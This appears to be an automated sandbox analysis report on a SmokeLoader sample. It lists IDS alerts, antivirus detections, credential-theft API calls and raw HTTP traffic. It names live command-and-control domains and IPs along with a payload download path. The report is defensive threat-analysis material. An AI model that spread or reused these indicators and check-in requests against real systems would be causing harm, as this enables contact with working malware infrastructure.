2024-10-08T00:20:53.854687+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49954	23.145.40.168	443	TCP
2024-10-08T00:20:55.555195+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49960	23.145.40.168	443	TCP
2024-10-08T00:20:56.434723+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49966	23.145.40.168	443	TCP
2024-10-08T00:20:57.296278+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49972	23.145.40.168	443	TCP
2024-10-08T00:20:58.168391+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49978	23.145.40.168	443	TCP
2024-10-08T00:20:59.035838+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49984	23.145.40.168	443	TCP
2024-10-08T00:21:00.185280+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49994	23.145.40.168	443	TCP
2024-10-08T00:21:01.521449+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	50001	23.145.40.168	443	TCP
2024-10-08T00:21:02.425405+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	50007	23.145.40.168	443	TCP
2024-10-08T00:21:03.346072+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	50013	23.145.40.168	443	TCP
2024-10-08T00:22:27.911815+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	50063	23.145.40.168	443	TCP
2024-10-08T00:22:50.083810+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	50065	23.145.40.168	443	TCP
2024-10-08T00:23:14.580007+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	50067	23.145.40.168	443	TCP

ETPRO MALWARE SmokeLoader encrypted module (3)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T00:20:43.053544+0200	2829848	2	Potentially Bad Traffic	23.145.40.168	443	192.168.2.4	49882	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: bCnarg2O62.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\derhswe	Avira: detection malicious, Label: HEUR/AGEN.1310247
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Avira: detection malicious, Label: HEUR/AGEN.1310247
Source: C:\Users\user\AppData\Roaming\jfrhswe	Avira: detection malicious, Label: HEUR/AGEN.1310247

Found malware configuration

Source: 00000007.00000002.2263785204.0000000000710000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["https://ninjahallnews.com/search.php", "https://fallhandbat.com/search.php"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\derhswe

ReversingLabs: Detection: 39%

Multi AV Scanner detection for submitted file

Source: bCnarg2O62.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\derhswe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\jfrhswe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: bCnarg2O62.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\9245.exe	Code function: 10_2_00007FF7327A36F0 CryptExportKey,CryptExportKey,	10_2_00007FF7327A36F0
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Code function: 10_2_00007FF7327A3220 CertGetCertificateContextProperty,CryptAcquireCertificatePrivateKey,CryptGetUserKey,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,CryptExportKey,VirtualProtect,VirtualProtect,CryptAcquireContextA,CryptImportKey,OpenSCManagerA,OpenServiceA,QueryServiceStatusEx,OpenProcess,ReadProcessMemory,ReadProcessMemory,WriteProcessMemory,NCryptExportKey,CertOpenStore,CertAddCertificateLinkToStore,CertSetCertificateContextProperty,PFXExportCertStoreEx,PFXExportCertStoreEx,	10_2_00007FF7327A3220
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_030F3098 GetTempPathW,GetTempFileNameW,DeleteFileW,CopyFileW,RtlCompareMemory,RtlZeroMemory,CryptUnprotectData,DeleteFileW,	12_2_030F3098
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_030F3717 GetTempPathW,GetTempFileNameW,DeleteFileW,CopyFileW,RtlCompareMemory,RtlZeroMemory,lstrlen,lstrlen,wsprintfA,lstrlen,lstrcat,CryptUnprotectData,lstrlen,lstrlen,wsprintfA,lstrlen,lstrcat,lstrlen,DeleteFileW,	12_2_030F3717
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_030F3E04 RtlCompareMemory,CryptUnprotectData,	12_2_030F3E04
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_030F123B lstrlen,CryptStringToBinaryA,CryptStringToBinaryA,	12_2_030F123B
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_030F1198 CryptBinaryToStringA,CryptBinaryToStringA,	12_2_030F1198
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_030F11E1 lstrcmpiW,lstrlenW,CryptStringToBinaryW,CryptStringToBinaryW,CryptStringToBinaryW,	12_2_030F11E1
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_030F1FCE CryptUnprotectData,RtlMoveMemory,	12_2_030F1FCE
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_0058245E lstrlen,CryptBinaryToStringA,CryptBinaryToStringA,	14_2_0058245E
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_00582404 lstrlen,CryptStringToBinaryA,CryptStringToBinaryA,CryptStringToBinaryA,	14_2_00582404
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_0058263E CryptAcquireContextA,CryptCreateHash,lstrlen,CryptHashData,CryptGetHashParam,wsprintfA,CryptDestroyHash,CryptReleaseContext,	14_2_0058263E
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_02F225A4 CryptBinaryToStringA,CryptBinaryToStringA,	19_2_02F225A4
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_02F22799 CryptAcquireContextA,CryptCreateHash,lstrlen,CryptHashData,CryptGetHashParam,wsprintfA,CryptDestroyHash,CryptReleaseContext,	19_2_02F22799

Source: bCnarg2O62.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\bCnarg2O62.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 23.145.40.164:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49925 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49931 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49948 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49966 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50067 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\9245.exe	Code function: 10_2_00007FF7327AFB38 GetEnvironmentVariableW,lstrcatW,lstrcpyW,lstrcatW,FindFirstFileW,lstrcatW,lstrcatW,FindClose,	10_2_00007FF7327AFB38
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_030F2B15 FindFirstFileW,lstrcmpiW,lstrcmpiW,StrStrIW,StrStrIW,FindNextFileW,FindClose,	12_2_030F2B15
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_030F3ED9 PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,PathCombineW,lstrcmpiW,PathCombineW,FindNextFileW,FindClose,	12_2_030F3ED9
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_030F1D4A FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,FindNextFileW,FindClose,	12_2_030F1D4A
Source: C:\Windows\explorer.exe	Code function: 13_2_003C30A8 FindFirstFileW,FindNextFileW,FindClose,	13_2_003C30A8

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49765 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49743 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49746 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49754 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49742 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49756 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49744 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49749 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49774 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49750 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49764 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49759 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49745 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49767 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49751 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49737 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49736 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49748 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49739 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49753 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49755 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49752 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49757 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49763 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49747 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49762 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49786 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49740 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49761 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49758 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49741 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49773 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49738 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50058 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50061 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50060 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50066 -> 211.171.233.129:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50062 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50059 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50064 -> 211.171.233.129:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50068 -> 211.171.233.129:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50057 -> 109.175.29.39:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49882 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49882 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49890 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49902 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49890 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49902 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49898 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49919 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49925 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49898 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49925 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49931 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49948 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49941 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49948 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49931 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49919 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49941 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49966 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49978 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49978 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49966 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50007 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:50007 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49913 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49913 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50013 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50001 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:50013 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:50001 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49972 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49972 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50050 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50063 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:50063 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50065 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49994 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49954 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:50065 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49994 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49954 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49960 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49960 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49984 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49984 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50067 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:50067 -> 23.145.40.168:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://ninjahallnews.com/search.php
Source: Malware configuration extractor	URLs: https://fallhandbat.com/search.php

Source: Joe Sandbox View	IP Address: 211.171.233.129 211.171.233.129
Source: Joe Sandbox View	IP Address: 109.175.29.39 109.175.29.39

Source: Joe Sandbox View	ASN Name: SURFAIRWIRELESS-IN-01US SURFAIRWIRELESS-IN-01US
Source: Joe Sandbox View	ASN Name: LGDACOMLGDACOMCorporationKR LGDACOMLGDACOMCorporationKR
Source: Joe Sandbox View	ASN Name: BIHNETBIHNETAutonomusSystemBA BIHNETBIHNETAutonomusSystemBA

Source: Joe Sandbox View	JA3 fingerprint: 72a589da586844d7f0818ce684948eea
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic

Suricata IDS: 2829848 - Severity 2 - ETPRO MALWARE SmokeLoader encrypted module (3) : 23.145.40.168:443 -> 192.168.2.4:49882

Source: global traffic	HTTP traffic detected: GET /ksa9104.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 23.145.40.164
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://pdafocuyeqbl.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 180Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://qwngamstehwl.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 221Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://wuojfsenfaf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 131Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://mxlgirixfokriwnb.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 253Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://uefyjrrvgteesaeq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 332Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://nnyeswfjrdkwqexg.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 311Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://opoqwbbwkupiok.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 273Host: ninjahallnews.com
